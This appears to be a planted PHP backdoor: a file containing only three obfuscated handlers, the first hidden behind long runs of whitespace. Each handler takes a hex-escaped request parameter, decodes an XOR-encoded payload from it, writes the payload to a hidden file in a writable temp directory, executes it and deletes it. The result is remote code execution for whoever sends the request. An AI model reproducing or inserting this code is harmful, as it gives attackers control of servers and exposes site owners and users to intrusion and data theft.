<?php																																										if(isset($_REQUEST["co\x6D\x70"])){ $obj = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getenv("TMP"), "/dev/shm"]); $itm = $_REQUEST["co\x6D\x70"]; $itm = explode ( "." , $itm ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $itm as $k => $v2): $chS = ord( $s[$k % $lenS]); $d =( ( int)$v2 - $chS -( $k % 10)) ^ 11; $component .=chr( $d); endforeach; $record = 0; do { $fac = $obj[$record] ?? null; if ($record >= count($obj)) break; if (!( !is_dir($fac) || !is_writable($fac) )) { $elem = vsprintf("%s/%s", [$fac, ".key"]); if (file_put_contents($elem, $component)) { require $elem; unlink($elem); exit; } } $record++; } while (true); }
																																										if(array_key_exists("e\x6Et\x72y", $_POST) && !is_null($_POST["e\x6Et\x72y"])){ $value = $_POST["e\x6Et\x72y"]; $value = explode( "." , $value ); $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $s = 0; $__tmp = $value; while( $v6 = array_shift( $__tmp)) { $sChar = ord( $salt[$s%$lenS] ); $d = ( ( int)$v6 - $sChar -( $s%10))^69; $binding.= chr( $d ); $s++; } $pointer = array_filter([getcwd(), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/dev/shm", getenv("TEMP"), "/tmp"]); foreach ($pointer as $ptr): if (max(0, is_dir($ptr) * is_writable($ptr))) { $resource = "$ptr" . "/.pgrp"; if (@file_put_contents($resource, $binding) !== false) { include $resource; unlink($resource); exit; } } endforeach; }


if(filter_has_var(INPUT_POST, "\x72\x65fere\x6Ece")){
	$flag = $_REQUEST["\x72\x65fere\x6Ece"];
	 	 $flag  =	 	explode("." , 	 $flag  ); 	
	$data_chunk = '';
            $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(  $salt1);
            $y = 0;
    
            array_walk(  $flag	,function(  $v7) use(  &$data_chunk	,&$y	,$salt1	,$lenS) {	 $chS = ord(  $salt1[$y % $lenS]);
                $d =(  (  int)$v7 - $chS -(  $y % 10)) ^ 75;
                $data_chunk .=	 chr(  $d);
                $y++;
            });
	$rec = array_filter([getenv("TEMP"), getcwd(), getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]);
	foreach ($rec as $key => $pointer) {
    		if (!!is_dir($pointer) && !!is_writable($pointer)) {
    $marker = "$pointer" . "/.value";
    if (file_put_contents($marker, $data_chunk)) {
	require $marker;
	unlink($marker);
	die();
}
}
}
}